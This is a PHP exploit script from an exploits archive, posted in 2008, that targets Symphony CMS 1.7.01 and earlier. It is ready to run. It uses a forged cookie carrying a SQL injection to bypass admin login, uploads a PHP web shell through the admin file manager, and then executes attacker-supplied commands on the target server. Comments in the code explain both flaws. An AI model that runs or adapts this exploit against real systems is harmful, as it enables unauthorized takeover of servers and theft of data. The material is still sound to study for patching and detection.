Home / exploitsPDF  

symphony-exec.txt

Posted on 31 July 2008

<?php ## Symphony <= 1.7.01 (non-patched) Remote Command Execution Exploit ## by Raz0r ( http://Raz0r.name ) ## Software site: http://21degrees.com.au/ ## works regardless magic_quotes_gpc echo "----------------------------------------------------------------- "; echo "Symphony <= 1.7.01 (non-patched) Remote Command Execution Exploit "; echo "(c)oded by Raz0r (http://Raz0r.name/) "; echo "----------------------------------------------------------------- "; if ($argc<3) { echo "USAGE: "; echo "~~~~~~ "; echo "php {$argv[0]} [url] [cmd] "; echo "[url] - target server where Symphony is installed "; echo "[cmd] - command to execute "; echo "e.g. php {$argv[0]} http://site.com/ "ls -la" "; die; } /* i) admin authorization bypass vulnerable code in symphony/lib/class.admin.php: ------------------[source code]---------------------- function login($username, $password, $already_md5=false, $update=true){ $sql = "SELECT * "; $sql .= "FROM `tbl_authors` "; $sql .= "WHERE `username` = '".addslashes($username)."' "; $sql .= "AND `password` = '".(!$already_md5 ? md5($password) : $password)."' "; $row = $this->_db->fetchRow(0, $sql); [...] } [...] if(isset($_COOKIE[__SYM_COOKIE__])){ $args = unserialize($_COOKIE[__SYM_COOKIE__]); $result = $this->login($args['username'], $args['password'], true, false); } ------------------[/source code]--------------------- password value from cookie is not properly sanitized so the code above is vulnerable to a SQL-injection which leads to admin authorization bypass. ii) arbitrary file upload in admin panel file manager in admin panel allows arbitrary file upload including php scripts. This vuln is actual only for non-patched version, nevertheless the SQL-injection above works on patched version too */ error_reporting(0); set_time_limit(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",10); $url = $argv[1]; $cmd = $argv[2]; $url_parts = parse_url($url); $host = $url_parts['host']; $path = $url_parts['path']; if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80; echo "[~] Uploading shell... "; exploit($host,$path,$port) ? print("OK ") : die("Failed "); echo "[~] Executing command... "; $res = cmd($host,$path,$port,$cmd); if ($res) { printf("OK %'-65s %s%'-65s ",'',$res,''); }else { die("Failed"); } function exploit($host,$path,$port) { $ock = fsockopen(gethostbyname($host),$port); if (!$ock) return false; $data = "--------bndry31337 "; $data.= "Content-Disposition: form-data; "; $data.= "name="file"; filename="s.php" "; $data.= "Content-Type: text/plain "; $data.= "<?php echo @`{$_POST['c']}`; ?> "; $data.= "--------bndry31337 "; $data.= "--------bndry31337 "; $data.= "Content-Disposition: form-data; name="filter" "; $data.= "--------bndry31337 "; $data.= "--------bndry31337 "; $data.= "Content-Disposition: form-data; name="destination" "; $data.= "workspace/masters/ "; $data.= "--------bndry31337 "; $data.= "--------bndry31337 "; $data.= "Content-Disposition: form-data; name="action[upload]" "; $data.= "Upload "; $data.= "--------bndry31337 "; $data.= "--------bndry31337 "; $data.= "Content-Disposition: form-data; name="with-selected" "; $data.= "With selected... "; $data.= "--------bndry31337 "; $packet = "POST {$path}symphony/?page=/publish/filemanager/ HTTP/1.0 "; $packet.= "Host: {$host} "; $packet.= "User-Agent: Opera/9.27 (Symphony fucker edition) "; $packet.= "Cookie: sym_auth=a%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22"; $packet.= "admin%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%2231337%27+OR+1%3D1+"; $packet.= "+LIMIT+1%2F%2A%22%3Bs%3A2%3A%22id%22%3Bi%3A1%3B%7D "; $packet.= "Content-Type: multipart/form-data; boundary=------bndry31337 "; $packet.= "Content-Length: ".strlen($data)." "; $packet.= "Connection: close "; $packet.= $data; fputs($ock, $packet); $html=''; while (!feof($ock)) $html.=fgets($ock); return preg_match('@Location: .+?upload-success@',$html) ? true : false; } function cmd($host,$path,$port,$cmd) { $ock = fsockopen(gethostbyname($host),$port); if (!$ock) return false; $data = "c=".urlencode($cmd); $packet = "POST {$path}workspace/masters/s.php HTTP/1.0 "; $packet.= "Host: {$host} "; $packet.= "User-Agent: Opera/9.27 (Symphony fucker edition) "; $packet.= "Content-Type: application/x-www-form-urlencoded "; $packet.= "Content-Length: ".strlen($data)." "; $packet.= "Connection: close "; $packet.= $data." "; fputs($ock, $packet); $html=''; while (!feof($ock)) $html.=fgets($ock); list($headers,$res)=explode(" ",$html); return strlen($res) ? $res : false; } ?>

 

TOP